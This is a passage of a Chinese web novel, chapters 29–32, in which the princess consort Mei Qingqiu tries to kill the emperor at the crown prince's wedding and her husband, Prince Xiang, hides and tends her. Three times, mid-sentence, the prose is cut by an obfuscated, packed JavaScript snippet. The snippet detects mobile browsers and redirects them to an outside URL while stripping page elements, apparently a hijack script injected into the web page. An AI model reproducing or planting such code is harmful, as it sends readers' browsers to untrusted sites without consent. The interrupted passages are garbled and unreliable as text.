他耐不住寂静氛围，硬扯了几件无关紧要的小事，甚至开始教她如何养伤。 实在无话可说了，他才进入正经事：“关于晚宴上我回答牟达的话，皆是我心中所想。我没想过纳妾，也会尽力避免。” “王爷究竟为何不愿？” 梅倾秋是真的不解，渴望了解他近日闹别扭的原因。 他转头向她，木无表情。 “你因联姻嫁与我，可曾感到安乐？” 此话不在她预想的范围，梅倾秋被问懵了。 李秉昶肘倚方桌，蓦地朝她伸出手。梅倾秋就这样看着那指尖逼近自己，而后蜻蜓点水般停在她脸颊上。 “襄王府里没必要再增加一个不幸的人。” 只有当你有所求，才会在意自己没拥有。梅倾秋想。 纵使你向来没得到过。 29. 第 29 章 夜深莺鸣，巡逻侍卫余四人交替，鹿苑内的寝卧皆熄了灯。人影急穿过后院，左右探头，确认四下无人才叩响木门。 穆妮娅推开门，迎进兄长牟达，与随从交换眼神让其守门。 兄妹交谈本无需避人，奈何他们所要提及的并非家事，而是关乎整族的走棋抉择。 吐蕃与宜国百年来交战不断，鼎盛时期战力远在宜国之上。直至二十年前吐蕃内乱，恰逢宜国命新将卫霆出征，吐蕃无力抵抗，派遣使者投降谈判。 和平维持不过数年，继任赞普——牟达父亲——不愿屈就宜国，再次挑起战争。双方谁也无法彻底打败谁，从而制定短暂的和平契约。两国和亲也是从这时开始的。 到了牟达继承王位，两国和睦又成了纸上把戏，私下想的都是如何击溃对方。 此番和亲亦是如此。穆妮娅远嫁宜国，为的是与牟达里应外合，推倒大宜。 牟达深夜约见穆妮娅，是就和亲一事寻求她的意见。他接受到了太子的暗示。狩猎之行本就是太子部署，且一直在讨好穆妮娅，今夜过后更是与牟达敞开来谈。 “那襄王……” “襄王无权，也是因此皇帝才把他塞给你，认为不会有增长藩权的可能。太子愿迎娶你又恰恰是想吸收吐蕃的势力。特别是晚宴上听说你与襄王之事……”牟达略一回想，“他就更心急了。” “皇帝的几个儿子里，确实襄王比较能当他的对手。太子忌惮他也正常。” 牟达扭转板指，询问她对太子的看法。 “毕竟也是你的夫君。” “选择太子于我们而言更有利。至于我个人，我无所谓。” 夜莺鸣叫不止，性子急躁的人越听越烦。牟达朝窗胡乱扔把飞镖，还真刺中了一只，剩下的夜莺愈加嘶鸣，扑腾翅膀惊飞出林。 “我不会让你等太久的，穆妮娅。”离去前牟达道。 穆妮娅笑着应好。 - 翌日清晨。趁着男人们都进了围场，穆妮娅约梅倾秋散步，散着散着就到了之前遇蛇的位置。 梅倾秋调侃她需不需要远离这个地方。穆妮娅笑道：“我喜欢重返曾受挫折的地方。” 她也从矜儿的木盅里抓起一把鱼食，伏在围栏上与梅倾秋一起喂鱼。 “谢谢你，当时义无反顾救了我。” “你不也是第一反应去救矜儿吗？这是人之常情。” 穆妮娅轻笑几声，“你倒是把善举看得挺轻的。” “世人乐于歌颂品德，将善托举得太高尚了而已，其实这就是人的本能举止。只要大家都解决了衣食住行，谁都不会吝于用举手之劳换美誉。” “王妃出身名门，言语间却似对宜国的强权之士颇有愤慨。不知我可是小人之心了？” “对专制或传统有异议难道是什么不可提及的？”梅倾秋反问道。 宜国相对而言国泰民安，但也有激进人士隐在市井中反抗皇帝制定的律法，梅倾秋所言已是委婉了。但顶着当朝王妃的身份说这种话，显然是极为危险的。 她之所以袒露，并非一时兴起，而是隐约捕捉到了穆妮娅的意图。或许她们拥有同样的目标。那她们完全可以化敌为友——这是她想传达给穆妮娅的。 ‘我们都做好了谋反的准备’这个暗示过于脆弱，会被她营造的地位所破坏。故而穆妮娅哪怕有所怀疑，也不敢轻易断定。 但她愈加确定了自己对她的评价，梅倾秋会是一个复杂的变数。如果可以她不想与这样的人为敌。 “王妃已身居高位，自然是可以提及的。”她如此揭过话题，好奇道：“那王妃同意纳妾是自信还是愚善呢？” 穆妮娅倚靠木栏，慢悠悠地往湖里洒饲料，金鱼争先恐后聚集栏下。 “你愿意与人分享丈夫，别人可不是这么想的。我不知道你的自信来源于自己、或是襄王的宠爱。但我告诉你，男人的心是很容易变的。” 这一隅地蓦然进入了沉默，梅倾秋专注盯着湖中鱼儿，心想穆妮娅说错了。 穆妮娅下定论的依据是‘襄王深爱她’，但梅倾秋心知肚明，这段假姻亲根本没有这么美好的东西。 ——没必要再增加一个不幸的人。 她回想昨夜李秉昶说的话，莫名觉得心里堵得慌。 只是她自己没察觉出烦闷的来由，穆妮娅倒是从她的反应察觉出来了。 穆妮娅伸手将鱼食全洒进湖中，笑着让王妃放宽心，她不选襄王了。此外无再多言，就手上伤口之事又谢了她一回。 几日之后，襄王府内。 傅雁来报：穆妮娅公主的和亲圣旨已经下来了。男方不是襄王，却是太子。 梅倾秋回想穆妮娅说过的话，想来那时就已定下了主意。 “王爷呢？”梅倾秋问。 “王爷与许公子有要事相谈，让我先回府。” “末了又提醒我告知王妃这个消息。”他加上一句。 “知道了，你下去吧。” 傅雁颔首离开后院，矜儿喜笑颜开地凑近梅倾秋，继续为她磨墨。 “这下好了，王爷不用纳妾了。” 见梅倾秋无甚反应，只专心书写。矜儿嘟囔着：“王妃，自始至终王爷的态度都挺明确的，你就别生他气了。” 梅倾秋倒被问得一头雾水。 “我何时生他气了，纳不纳妾都是他自个的事。” “王妃你是真不明白吗？王爷怕你生气呀！” 矜儿自进太尉府开始就是梅倾秋的贴身侍女，撇开王妃这个身份，她也算得上是了解自己主子的性格。她拉凳坐下，苦口婆心道： “正是王爷在乎你，才会介意你对纳妾的看法，最近你们都没说几句话……” 毛笔于宣纸上肆意挥动，梅倾秋略一出神，笔尖颤落反毁了前面的字。她蹙眉收笔，索性丢了这张纸。 也不想继续深究这个事情，便打发矜儿去取鸽笼，说要写书信给宁枝。 望着矜儿远去的背影，梅倾秋却又思忖起她方才说的话。 - 夜幕微垂，襄王府里里外外点亮了灯烛。家仆在前面掌灯，李秉昶随其穿过庭院，听见熟悉声响又猛地踏回，向家仆招了招手示意不用掌灯了。 他循声而动，发觉脚步声越来越近，忙转过身假装凑巧经过。 “王爷。”矜儿道。 李秉昶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164233|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回过头，粗略应了一声，转向旁边的梅倾秋：“我回来了。” “王爷可用过晚膳了？” “用过了。” 眼见梅倾秋就要走，他突发奇想伸手去挠额角的伤口。伤口就快结痂，已经开始发痒了，平时他大抵能忍住不碰，现下却是有意在她面前装可怜。 识医之人看不得这种。梅倾秋本都与他擦肩而过了，又站定回头：“王爷稍等我一会。” “好，我等你。” 他看着她的眼睛，强忍笑意。 片刻后梅倾秋独自回来了，手提一个小竹篮。她向他招手，将竹篮放在院中石桌上。 李秉昶走上前去，看清篮子里尽是诊治用品，他受宠若惊地在她指定位置坐下，即她旁边的石凳。 “伤口正在愈合，抓挠容易形成疮疡。” 她站在他面前，微微俯身，用棉布沾湿轻轻擦拭伤口，而后往上面盖一层薄薄的纱布。 垂在耳鬓边的步摇在他眼中幌动，木槿花香将他围困于此，他目光所及就是施了胭脂的唇。殷红饱满。 盯得太久，令他生起一股怪异的占用欲，仿佛他曾得到过它，他险些凑上去确认。 幸好他当即回过神，记起是首次同床而眠时，他梦见自己吻上了这朱唇。 那似梦非梦的感受好长一段时间里令他魂牵梦绕，近日二人闹别扭交谈少了，那个梦才悄悄溜走，此刻又因她而复苏。 按压额间的手指停了下来，李秉昶抬头，四目相望，额间处的指腹逐渐发烫。她或许也感知到了这点，匆匆转身抽回手。 “咳……谢谢你。还有前几日我对你的态度那么反常，希望你不要误会，我不是针对你。” 李秉昶慌乱找补之前说的话。但他是如何都不敢再提是否安乐这事了，深怕她真说自己不幸。 “我知道，我也没有生气。” “那就好……” 梅倾秋将物品收回竹篮，提起就走。李秉昶紧随其后，想起什么说什么。是在弥补屡屡与她相视，却彼此一声不吭的日子。那令他感到煎熬。 他随她走到后院亭里，桌上手绢裹着一只鸽子，鸽子的一条腿受伤了。 李秉昶反应慢半拍，愣愣摸了摸自己额角。原来自己只是顺便？…… 但将‘把握机会’铭记于心的他还是选择上前帮忙。他双手抓着鸽子，梅倾秋用细布给它包扎。 “这鸽子怎么会受伤的？” “这是帮宁枝带信来的鸽子，我发现它时它摔落在院中，檐角撞出了血迹。” 李秉昶花了片刻回忆何人是宁枝，是初遇时曾和她同行的男子。他佯作随意地问起宁枝的身世。 梅倾秋沉默不语，最后也是答非所问： “她是很坚毅勇敢的人。” 李秉昶冷不丁加重手上力度，鸽子吟叫着扑腾翅膀。 “王爷……” “啊对不起。” “他比谢卫更早认识你？”他又问。 “是啊。”她快速答道。 “宁枝是我很重要的友人。” 听见友人一词，李秉昶原本铁青的脸又焕发了血色，还伸出大拇指抚了抚鸽子的羽毛。 30. 第 30 章 秋末，酉时。 东宫内外张灯结彩，红绸灯烛铺满宫墙，二胡锣鼓自一早就敲个不停。夕阳低悬，犹似也在庆贺当朝太子的大婚，霞色将宫殿染了个通红艳丽。 太子迎娶吐蕃公主为正妃，普天同庆，百官迎贺。东宫里里外外都是欢笑声。 宫门一侧，李秉昶与许骄松远离正厅，藏在这僻静地。看似兴味索然，实则目光密切注意着来往的朝臣。 “我寻机进入那座密林了。”许骄松道，“密林深处确有一座山挖了隧道，洞口有人守着，我没硬闯。” “太子的人去过？” “傅雁的兄长傅骢去过，太子的马车也去过，可以断定太子确实在谋划什么了。” 李秉昶扫视院中堆积如山的钱箱礼赠，朝臣不论官位高低，太子大婚必然出席。太尉、宰相也在其中。 “但我们仍不知道扔出线索的神秘人是谁。” 许骄松想了想：“至少也是站你这边的吧？” “不一定。不排除是有人想坐收渔翁之利。” 鼓乐曲声响彻东宫，尖利的“吉时到——”将众人拉进了正厅。新娘子藏在帘后未出，是在等皇帝上座。 拜堂吉时的前后半个时辰，皇帝会在东宫露面，受太子及太子妃叩拜。 “皇上驾到——” 闻声望去，步辇缓缓落地殿门口，皇帝走下步辇。 众人齐声高喊“参见皇上，微臣恭请圣安。”而后同步垂首迎接皇帝。 殿门至正厅不到一里，侍卫留在殿外，朝臣侯在厅前，踏上红绸的便只有皇帝李瞻，及一名掌灯的宦官。 便是在这令人欢愉且松懈之际，一阵疾风翻身越墙，以肉眼难以捕捉的速度闪到皇帝面前。 拔刀刺入其胸。 “你的报应来了，李瞻。”刺客低声道。 皇帝低吼一声，掌击刺客持刀的胳膊，刺客迅速拔出匕首后退，鲜血飞溅洒染金黄龙袍。 “刺客！有刺……” 首先做出反应的是掌灯的宦官。他当即受刺客当胸飞踢，灯盏坠地，火苗吞噬笼纸。 惊声四起。金吾卫一涌而入护卫皇帝，八人将刺客团团围住。如此情形之下，刺客竟还能与金吾卫拼了个不相上下。 皇帝手捂胸口，鲜血淋漓透过他指缝流出，他怒视着嚣张跋扈的刺客，嚷道：“抓活的！” 刺客一身黑衣，脸蒙黑布，头戴惟帽，全身遮得严严实实，唯一暴露在外的皮肤只有持双剑的手。 他不擅耍双剑。这是李秉昶从刺客的挥剑、出招、走位得出的结论。 皇帝已经被护着挨向步辇，他中刀的位置只怕不妙，鲜血血流不止，可他只是紧紧捂着胸口，不肯离去。 而刺客几次三番险些突出重围，兴冲冲地要再刺皇帝一刀。 金吾卫同样也将朝臣护在正厅里。太子紧紧抓着侍卫的胳膊袖挡在身前，嘶吼着叫父皇。 穆妮娅推开人群挤出来，掩面的珠扇被垂在身侧，她几乎是双眼放光地盯着院中的混乱。只是不知是因刺客非凡的身手，还是因皇帝遇刺这件事。 牟达表现得更明显些，他溢于言表的兴奋简直快令他拍手称好。经朝臣注目，才欲盖弥彰道：“这刺客真是剑术高手！” 侍卫人数接连增多，仍无法制服区区一个刺客。太尉梅穹本欲上前护驾，忽又想起什么收回了脚。 刺客右手的剑被打飞了，他不得不只用一剑出招。恰是这时，李秉昶明白了刺客为什么要使用双剑，他想掩盖自己的真实实力。 并且，刺客铤而走险使出的剑法令他感到熟悉。 刺客轻功了得，轻而易举就突出了重围，但因其一根筋地往皇帝所在位置去，屡屡被围困。 弓箭手再次将皇帝挡在后面，另一拨弓箭手上了房檐。百箭齐发，数十箭矢被剑打飞扎在厅门上，有两只刺中了他。 寡不敌众，刺客终于想起逃生，恶狠狠地朝弓箭手所在方向扔了把飞镖，目的仍是他们后面的皇帝。 他腾空而起，惟帽被箭矢射落。 其垂眼抓住惟帽，某一瞬间滞停半空，与李秉昶四目相对。 只刹那，他从这双眉眼认出她，是他的王妃。 皇帝受伤，宫中大乱，当即下令封锁皇宫活捉刺客。李秉昶也在找，并且更急迫。 - 鞋履踏地与佩剑敲甲声层出不穷，整座皇宫陷入了混乱。火簇团团连成摇摆的龙尾，绕着大小宫殿巡捕，个别更是飞檐走壁，踩着檐脊抓刺客。 梅倾秋早已摸透皇宫路线，布好了退路。碍于众寡悬殊，她不慎中箭，预想的逃生路又被封了。 为了躲避追兵，她误打误撞进了一座废弃已久的宫殿。她背部紧贴殿门，做好全力相搏的准备，门外那支队伍却只是径直穿过，连推门确认的犹豫都没有。 这座宫殿寂寥得骇人，墙外涌动的灯笼微微匀来了点光，令庭院看上去灰蒙蒙的。 檐角积灰，池泛青苔，枯叶残枝铺满庭院。靠近围墙的地方似有影子幌动，仔细听，还有轻缓的咿呀声。 梅倾秋抓住剑鞘抵在胸前，循声而行，走入院中才看清那是一个晃荡的秋千。 何时来过这里？梅倾秋想。她莫名对此处感到熟悉，特别是秋千。 可以确定的是这是她首次进入这个宫殿，若不是被追兵逼得走投无路，她都不会潜进此处。 殿门牌匾掉在地上碎成两半，拼起来是‘永粹宫’。此处荒芜，却应有尽有，仿佛并不是被废弃，是这座宫殿拒绝被探访。 收到慧妃生前手镯的当天，她曾梦到有位女子在荡秋千，场景与此院极为相似。 意识到此处与梦境对上了号，梅倾秋惊愕不已。但她没有时间探索这个宫殿的秘密，当务之急是逃出宫。 左肩与手臂连中两箭，梅倾秋每回运用轻功都会牵扯伤口。逃跑路上她折断了箭，而箭矢还深扎在皮肉里。 梅倾秋后退几步背靠围墙，咬牙拔出箭矢，再撕下衣摆布料，胡乱包住伤患处。 离开之前她回望了眼秋千，秋千静止不动，月色轻薄铺之，描绘出上面厚重的尘灰。 她伺机往宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164234|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门跑，东躲西藏，不仅要注意四处搜寻的侍卫，还要小心檐顶的眼睛。 人在危难之时，思维不仅不会混乱，还会比平时更加清晰敏锐。梅倾秋就听见了鲜血滴落地面的声音，低头一看，肩头的伤口渗血不止，鲜血溜出袖口在身后染了一路。 这可不妙。 她又撕下惟帽上的黑纱，忍着巨痛加倍裹住左肩与袖口。趁着血止转移阵地。 “你们往那边去，你们几个随我来！” “这里有血！” “刺客肯定就在附近，快搜！” 梅倾秋身体蜷缩在阴影里，紧紧挨着围墙。她口干舌燥，额头逐渐冒出冷汗。 瞄准最后一个侍卫左拐离去，梅倾秋起身欲跑，忽被一股力量捞了回来。 她立马拔出剑，面前人反倒将她揽入怀。 “别动。” 是襄王。 铠甲因跑动隆隆作响，巡捕队伍又返回来了。队伍逐渐逼近，而后骤然停下。 梅倾秋微微探头，从李秉昶肩膀望出去，有一名男子站在长廊中间。 “中丞大人。”队伍领头微微颔首，“可见着了可疑人物？” “往那边去了！”许骄松指着右侧长廊道。 巡捕队伍深信不疑，立马蜂拥前往。此地逐渐拾回宁静。 “你中了两只箭？”李秉昶比她先开口。 他松开手，与她稍稍拉开距离。梅倾秋一时不知作何反应，她还蒙着面，他却似认出了她。她回也不是，不回也不是。 若不是认出了她，他的所作所为解释不通。若是认出了她，更令人费解。她刺杀的可是他的父亲。 细碎脚步声跑到他们身旁，许骄松神情凝重地打量她。他掩护了刺客，却似乎仍不敢相信面前就是刺客。 “你坐安行的马车，他会掩护你出宫。” 说罢李秉昶低头去接她手里破碎的惟帽和沾血的剑。 两样物件并不重，却仿佛卸下了什么极为重要的东西。梅倾秋右手追上去，没抢回惟帽，反倒抓住了他的袖摆。 李秉昶背靠围墙，整张脸隐在暗处，看不清他的表情。 “我去引开他们。”他道，“你先走。” 见二人还磨磨蹭蹭，许骄松急得跳脚。他忍不住催促：“快点吧，拖得越久巡捕的人只会越多。” 梅倾秋松开袖摆，艰难地说出一声：“小心。” “我会的。” 他当着她的面戴上惟帽，将剑佩在腰侧，晦暗不明的目光凝视了她片刻，便无声地走了。 李秉昶惯爱穿深紫色衫，夜幕之下与黑衣区别不大，戴上惟帽后，飞檐走壁的身姿轻而易举就冒当了刺客，吸引走一大批巡捕追兵。 他的身影在风烛之中颤抖般闪烁。 这多讽刺。她为了复仇嫁给仇人的儿子，行刺之后却是靠仇人的儿子脱身？ 可这不正是你想要的吗？ 梅倾秋内心深处响起这么一句话。 不正是你把他当垫脚石吗？ “是啊……”她低喃道。 31. 第 31 章 自皇帝遇刺已过去一个时辰，刺客却仿佛会飞天遁地之术，任官兵将皇宫翻了个底朝天也逮不住，只能偶尔瞥见一抹稍纵即逝的身影。 巡捕队伍数十人为一队，盔甲铿锵，刀剑刺耳，蜂拥交错地在宫中穿梭。 皇帝伤势严重，但已经保住了性命。宫门逐步放行，朝臣不论官阶高低，想出宫都要经过严格搜查。 许骄松的双马马车就在宫门前被拦了下来。 “马车内何人？” 说罢官兵慢步向前，还未接近马夫，窗幔就被里面的人拉开了。许骄松掀开大片窗幔，好让官兵看清里头就他一人。 “这是御史中丞的马车。”马夫回答道。 纵是如此，官兵还是哈着腰上前，将脸贴近小窗，仔细扫视一眼，确实只有许骄松单人。才躬身微笑着给马车放行。 梅倾秋并非藏在马车里，而是换上了男仆的穿扮，与马夫同坐马车前，各赶一匹马。 马车安全出了宫，却没有直奔襄王府，而是到宫外一片荒芜地去。那候着一人一马，人身着黑服，披黑斗篷。 “多谢许公子出手相助，送我到这便可以了。” 马车距那人一里远时，梅倾秋勒停马车，回首与车内人辞别。 闻言许骄松急忙掀开帘，望了眼对面辨不清是男是女的身影。 “你确定？如果你不能安全到府，襄王那边我也无法交代。” “放心，我会回去的。” 梅倾秋松绳落地。此前为了掩人耳目双手赶马，已然牵动了伤口。她右手捂着左臂，走得缓慢。 身披斗篷的人赶忙下马，搀扶梅倾秋，帽檐经风拂落。 “宁枝？”许骄松诧异道。 听到呼唤宁枝也吃了一惊，但她没过多搭理许骄松，只是朝他颔首道谢。把梅倾秋扶上马背，就策马往林中去。 “这两人又是何交情？”许骄松低语。 横穿幽暗森林，林外月色清亮，宁枝得以看清梅倾秋的伤势。她提出直接去药铺，被梅倾秋否了。 “宫中找不到刺客，官兵很快就会封锁全城，挨家挨户地搜，去药铺难免惹人注意。去襄王府。” “可是如果让襄王……” “就是他，掩护我逃出来的。” “他看见你刺杀皇帝了？” 梅倾秋不语，宁枝会了意不再追问，加速往襄王府后门去。 - 充当刺客的李秉昶没有沉迷于跟官兵捉迷藏，确认梅倾秋应该逃出宫了，他便扔掉不能当作线索的惟帽和面纱，只收走了剑。 皇帝已经从生死关头缓过劲，就盯着金吾卫大发雷霆，宫门口把关的、巡逻的、布置东宫婚亲的……等等都会被问责。 李秉昶没有在宫中逗留，火速赶回了襄王府。 此时已是夜半时分，襄王府安详静谧，守门人见王爷回来了，连忙上前为他掌灯。 “不必了。” 他打发了门卫，就着半明半暗的廊道穿到后院。梅倾秋的寝室点着灯。 脚步声没有收敛，鞋履踏过枯叶嘎吱作响，他的接近也让屋内人有了心理准备。 细碎声响在门外戛然而止，他的影子嵌刻在窗纱上。梅倾秋坐在榻上，见那影子不再动弹，她侧过身去背对他。 “你处理好箭伤了吗？”他终于问。 “无碍了。” “好……” 李秉昶伫立了片刻，好不容易下定决心离去，方一转身，便见宁枝端着药走来。 府内进了陌生男人不说，还是与他夫人关系特殊的知己，现下更是旁若无人地要进屋为他夫人包扎伤口。 “襄王。” 宁枝礼貌性唤了他一声，探手去推门，双门刚露出一条门缝就被李秉昶按回去。 他直截了当接过药盘，道了声“我来就行”，便侧身钻进屋。宁枝来不及阻拦，门就从内插上门闩。 听到动静的梅倾秋回过头，此时她左肩半露，领口敞开垂到了肩肘处。她忙扯起衣襟，动作过大牵引了伤口，她不禁闷哼出声。 李秉昶快步赶到她面前，伸手握住她扯衣的手，道：“我只给你上药。” 她的着装算不上不雅，黑衣里面还有一件里衫，里衫领口开到肩头处，袒露了贴身小衣的吊带而已。 “哪怕是有名无实的假夫妻，总不能让我连一个没名分的男人都比不过吧。” “？” 梅倾秋满腹疑团，不解他提及的‘没名分的男人’为何人。 屋外传来宁枝辞别的声音，脚步声由近而远离去，梅倾秋这才反应过来他指的是宁枝。 他不知道宁枝是女子，现下是将她当做我的相好？ 李秉昶同坐榻上，拧干手帕，轻轻擦拭箭伤四周的血渍。清洗完毕取出药瓶上药。 “忍一下。” 说罢他手指轻叩药瓶，药粉扑洒伤口，蚀骨般的疼痛令她难忍低吟。 梅倾秋双目紧闭，双手攥拳，冷汗滑过耳鬓。伤口撕裂的痛感之间夹杂了阵阵暖风，她睁开眼，看见他在边上药边往伤口轻呼。 此举有达到缓解痛感的效果，并令她心窝发痒。她往回缩了缩肩，但因左手被他拉着，并没有逃开多大距离。 “先止血，明天再换一次药。” 他扯开纱布团，围着左肩与腋下缠纱布。 梅倾秋向右偏头，二人的影子被油灯映在床沿边，红色帘纱轻轻盖在上面，略一飘浮就令这对影子变得朦胧暧昧。 左肩的箭伤包扎好，还剩下左臂的箭伤，那处靠近手肘，箭刺得也深，故而出血量大。 李秉昶直接用剪刀剪去左袖，整个手臂糊满了血，有的凝固了，有的刚从伤口渗出。乍眼望去，血肉模糊。他蹙眉深吸了一口气。 手帕擦了几个来回，一盆清水已被鲜血搅浑。他擦净手臂上的血水，重拿起药瓶。 忽而起身离榻，屈膝半跪在她面前，拉起她的右手架在他肩膀上。梅倾秋没明白他的用意。 他盯着手臂那处箭伤，道：“这个伤口深，上药会更疼，你抓着我。” 她嘴上应好，手只是虚搭在他肩上。而当药粉洒上伤口，那股刺痛使她本能地掌心施力，把劲出在了他身上。 期间李秉昶悄悄靠近，手肘微撑于她膝盖之上，有半晌时间她下巴搁在他肩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15191468|164751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 直到痛感趋近消散，纱布包裹伤口，她才后知后觉地松开他的肩膀，坐直身体。 半跪在她面前的人，是她杀父仇人的儿子，在她刺杀他的父亲之后，为了给她包扎伤口染了一手的血。 再一侧目，他腰上还别着她的剑。 他注意到了她的视线，解开剑鞘放上桌。 “这虽不是你的惯用剑，但还是有可能成为线索，我就带回来了。” “再有机会我还是会杀他。” 她木无表情说道。 李秉昶耷拉着眼皮，只顾包扎伤口，看都没看她一眼：“记得布置好逃跑路线。” “下一回，我不一定也能认出你。” 此话何意？莫不是只要是她，他还会救？ “王爷可知今日所作所为，不止是窝藏刺客，还会被定义为共犯。” 他抬眼朝她笑了笑，仿佛认为在此刻提醒后果的她很有趣。 “我当然知道。” “你不怕背负不孝不忠的罪名？” 李秉昶将剪刀和纱布扔回托盘，却不起身，就维持着半跪的姿势仰视她。 神色无甚起伏，好似什么也没思考，只是将心中所想说了出来：“早在九年前我的孝心就用尽了，一滴也榨不出来了。” 梅倾秋明了自己不该深挖他的底线，但她想知道。她将此归结为对仇人的好奇。 “九年前发生了什么？” 他没有直接回答，头一歪露出古怪的微笑。 “你想知道？” “在宫中躲避追兵时，我恰好躲进了一处废弃多年的宫殿，追兵们不知为何对那视若无睹，连停下搜查的想法都没有。” 梅倾秋观察着李秉昶的表情变化。 “那的院中有秋千、浅池、和破碎的花盆。陈旧牌匾的题字为永粹宫。” 他双眉微扬，脸上闪过惊讶、留恋、甚至向往。 这一霎那她得到了答案。她得偿所愿，却感到懊悔。 “那是慧妃的故居。”他开口道，“是被皇上明令禁止踏足的，就算是我也一样。他自己也对那避之不及。” 慧妃是他的母妃。在他五岁时入冷宫、九岁时自缢，荣辱受尽，不被批准提起的女人，史书不得撰写却名声远扬的女人，吕绾。 “但我还是偷偷去过。” 李秉昶站起身，自衣箱随手拿出件外袍，披在她身上，遮住半裹着纱布的左臂。他就此坐在她左侧榻上。 “那儿一点也没变。” 二人不再出声，安静盯着前方，谁也不知道彼此在想什么、在看哪里，只是心照不宣地拉长这段沉默。 帘纱受风煽动，哀嚎般呼啸；窗板敲打窗框，咔嗒而响；火苗滋滋扭动，燃蚀蜡烛，几道声响交织相逐，如泣如诉。 油灯最后的一点蜡燃尽，整个房间由此坠进黑暗。 “我也曾刺过他，我指我的父亲。” 梅倾秋瞪大双眼，回望李秉昶所在的左方，她死死盯着那处，仍无法从一团漆黑中辨析他的五官。 但他似乎转身面向着她。 “所以我早就是你的共犯了。” 32. 第 32 章 皇帝在东宫院中遇刺，这起惊天骇闻引发了朝野内外的激烈讨论。光天化日下潜进宫中，刺客居然还能全身而退，时隔数日迟迟未落网，这可谓是皇威扫地。 因此皇帝严令刑部缉拿。不仅宫中戒严，城内也在大范围排查。 凡是外来人暂住城中的、身手敏捷却行踪可疑的、被检举曾有反叛言论的……都会被刑部抓走。核查无嫌疑会放人，却也大多是遍体鳞伤。百姓们皆如惊弓之鸟，有苦不敢言。 另一边，襄王府后院雨亭内。梅倾秋与宁枝相对而坐，她手里拿着宁枝所绘的地图路线。终点就是太子私营的密林。 “我曾在那路上碰见许骄松。”宁枝道。“他看上去也是奔着这地方去的。” “他知道，就代表襄王也知情。” “那夜我在宫外接应你，许骄松看见了我的面貌，兴许会将对我的疑点转移到你身上，说你也在调查太子。” “我会找机会跟襄王谈谈，试探他了解多少。” 梅倾秋折起地图放入袖中，左臂箭伤未愈，一经扯动仍会感到疼痛。她轻抚了抚左肩。 这细微举动也被宁枝看在眼里，她还清楚记得那夜李秉昶焦急的模样，显然已超过契约关系。宁枝甚至想问一句是否记得签过契约书。 “倾秋，我不了解你们此时的相处模式，是否已经假戏真做。但你别忘了，他是李瞻的儿子。你认为父罪不及子，他不一定这么想。” 院墙外马蹄声连连，鸟雀惊飞扑腾上屋檐，家仆在喊：“王爷。” 宁枝抬眼瞥向院道，声音压着逐渐接近的脚步声：“这次他护了你，下次你真的杀了他父亲呢？他还能与你相敬如宾吗？” 话音刚落，当事人李秉昶就迈进了院，与宁枝相视，面色凝重。 “我知道，你先回去吧。”梅倾秋道。 宁枝起身离开，李秉昶缓缓行来，二人心中皆燃着股无名火。但她还是情礼兼到地向他躬身作揖，他则扯起嘴角微微颔首。 待李秉昶迈入亭，梅倾秋已收起了地图，专心喂鸟笼里的鸽子。 李秉昶落座一侧，心不在焉地提起鸟笼又放下，笼中鸽跟着腾空的鸟笼扑腾了两下。他才后知后觉地记起是之前受伤的鸽子。 “看来不需要飞鸽传信，是因为人自己上府来了。” 她听出他话里有话，直问：“王爷所言何意？” 对面人故作潇洒地耸肩摇头，片刻后又耐不住性子，佯作恰好想起似的，举起一根手指，后指宁枝离去的那道门。 “方才宁公子手上拿着王府进出的令牌，可是你给的？” 其语气冰冷，颇有质问之意。 “是我给的。你给我令牌的时候不是说这是我的权利？” 梅倾秋终于辨出他言行古怪的原因了。他看不惯她身边有别的男人，臆想她与其的关系，而后自认为有立场质问、干涉、甚至斩断。 “如果王爷觉得不妥，我便不让她来，我出府去找她就是。” “？” 咣当一声，李秉昶没提住鸟笼。 笼子倾砸石桌，白鸽受惊咕咕鸣叫，梅倾秋木无表情从他手里接过鸟笼。 他双手扑空，无事可做，便扯扯袖口拍拍衣摆。几番欲言又止，目光闪烁，最后蔫蔫道：“我不是为了限制你。” 闻言梅倾秋抬眼看他，等他解释清楚。 “你们结识得久，可在旁人看来过于亲密了。传出闲言碎语对你也不利。” 他声音轻而乱，显然也反应过来自己语气过于强硬，此时手足无措地辩解，又发现自己确实不占理。 “当然，你定会说既是假夫妻，我也无权限制你与何人来往，但……” 梅倾秋看见了他的真诚，心想自己或许会错了意。宁枝所言在前，着实鞭策了她动摇的意志。 她手搭上他袖摆，“王爷。” 经此打断，李秉昶噤了声。他从她伸出的手往上看，梅倾秋俯视着他。 “宁枝是我的知己，绝非你担忧的那种关系，相信我。” 